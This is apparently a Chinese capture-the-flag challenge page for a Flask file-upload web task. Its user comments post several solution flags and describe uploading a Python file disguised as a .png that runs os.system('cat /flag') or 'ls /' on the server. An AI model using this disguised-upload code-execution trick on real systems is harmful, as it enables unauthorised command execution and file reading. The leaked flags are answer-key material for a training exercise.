Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12944
提  示:
描  述:
Flask_FileUpload
评论
hanxu23010 2年前

flag{535a8d9096253987480e459b83ad788c}

回复 0

380767743 2年前

flag{4b5d037a2b7ad4c8c09c440b3f0e9bf1}

回复 0

Yice 2年前

文件名不能有汉字!!!!!!

回复 0

wxhctf 2年前

1.审查源代码,发下只能上传png或者JPG格式文件 2.编辑文本文档,内容:import os (换行) os.system('ls /') ,修改文件类型为png,上传,在网页源代码注释中查看目录,发现flag 3.重新编辑文档 import os (换行) os.system('cat /flag'),修改上传,显示flag

回复 2

liekai16 2年前

首先新建一个文本文档,第一行输入import os,然后回车,第二行输入os.system('cat/flag'),之后将此文本文档后缀改为.png,最后提交只网页,打开控制台就可以看到flag了

回复 1

Caerus 2年前

第一行:import os第二行:os.system('cat /flag')

回复 0

鸡你太美 3年前

上传: import os os.system('cat /flag') 检查页面得flag{7c281d67c0b4cce08c951bdd26cf5bf3}

回复 0
roger30 3年前

import os;os.system('cat /flag')

回复 0

Liyihwa 3年前

为什么上传上去的文件会被服务器解释执行?

回复 0
kimizu 2年前

内容是py脚本,赋予可执行权限就行了啊

回复 0

zalm233 3年前

咋办啊

回复 1

zalm233 3年前

大佬们,他说 python3: can't open file '/app/upload/import': [Errno 2] No such file or directory

回复 2
avengert 2年前

文件名字不能用关键字命名。

回复 0

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

moque 攻破了该题 1小时前
magning 攻破了该题 3小时前
zjb520 攻破了该题 20小时前
noob11 攻破了该题 23小时前
风掠 攻破了该题 1天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
zf 攻破了该题 2天前
macleo 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
CCC1112 攻破了该题 4天前
suhannn 攻破了该题 5天前
诸诸诸 攻破了该题 5天前
CyberX 攻破了该题 5天前
1柒1 攻破了该题 5天前
KN11 攻破了该题 5天前
xzy_2026 攻破了该题 5天前
世界你好 攻破了该题 6天前
xiaoqixy1 攻破了该题 6天前
17199913044 攻破了该题 7天前
问题反馈